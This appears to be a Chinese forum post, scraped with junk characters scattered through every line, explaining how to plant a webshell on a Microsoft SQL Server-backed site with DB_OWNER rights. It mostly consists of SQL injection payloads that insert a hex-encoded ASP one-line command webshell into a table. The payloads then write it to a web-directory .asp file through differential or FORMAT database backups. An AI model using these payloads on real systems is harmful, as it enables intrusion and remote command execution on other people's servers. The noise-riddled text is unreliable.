DB_OWNER权限得到webshell的两点改进:/ Y6 d H% S: `; {
( ? w: S+ H* y- L
减少备份文件大小,得到可执行的webshell成功率提高不少
; q$ I& ~, N% @8 `# `一利用差异备份1 t' n" k- q5 S- B2 u1 [
加一个参数WITH DIFFERENTIAL
4 d! p4 Q" e3 r3 l9 N7 u8 ?5 _, x# Y. S1 j! F# d
1
' a' a1 z# z3 U/ e& C2 n6 [ P) U0 U8 n3 I
3
+ _4 O% I! t" L. ]4% j |% n0 q5 F p8 `
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s! I1 j* {' P# x* X
create table [dbo].[xiaolu] ([cmd] [image]);2 w6 [9 _( A- r! T* Y! `; ?4 p* d
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
' u4 u* C! V/ f1 V( Tdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
: w5 k) N# I7 J5 x4 i& S* x. S# b) N, p! I
二利用完全FORMAT1 N5 i. ?5 ~& _+ l' v1 f% f9 V
加一个参数WITH FROMAT
9 I$ o* p( N2 X4 n$ Y& E有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
% `2 a0 ?* n3 e4 A8 @% `( M O& t" q
1) [/ m- h0 c" ]: h6 u; N) W8 Z
21 }* O! g% p6 _$ t O# U( N% ]
3: t1 o1 z5 m! A/ o3 I5 p
4
8 K- ?, r5 k* U! K declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
' t1 _$ Q9 O3 s! D2 i0 X( Q6 K1 acreate table [dbo].[xiaolu] ([cmd] [image]);5 c" j. @# _- Q* w9 m ^
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)4 k8 F: c( @0 C
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
3 L! z. A9 f5 F; [ y! I: M2 o! ?9 \9 e
总的来说就是那么简单几句,下面以备份数据库model为例子
8 s+ V- f7 H9 ]2 R) p. d$ c16 J8 g w/ Q+ k2 \
2 ~2 m5 d/ U+ j! ~' l6 Q6 D) o1
# t& j4 `+ b1 O8 ]3 f2 k id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
D3 U' c9 d0 X% w) C
5 v" n; X h, I9 }0 f" x2! F m. X8 K7 |: P
# E0 V$ w( ^, ]- v8 i
1( |# U5 R+ b6 F5 _
id=1;backup database model to disk='你的路径‘ with differential,format;-- " x$ b; D; @9 r* K0 ]8 s' k
|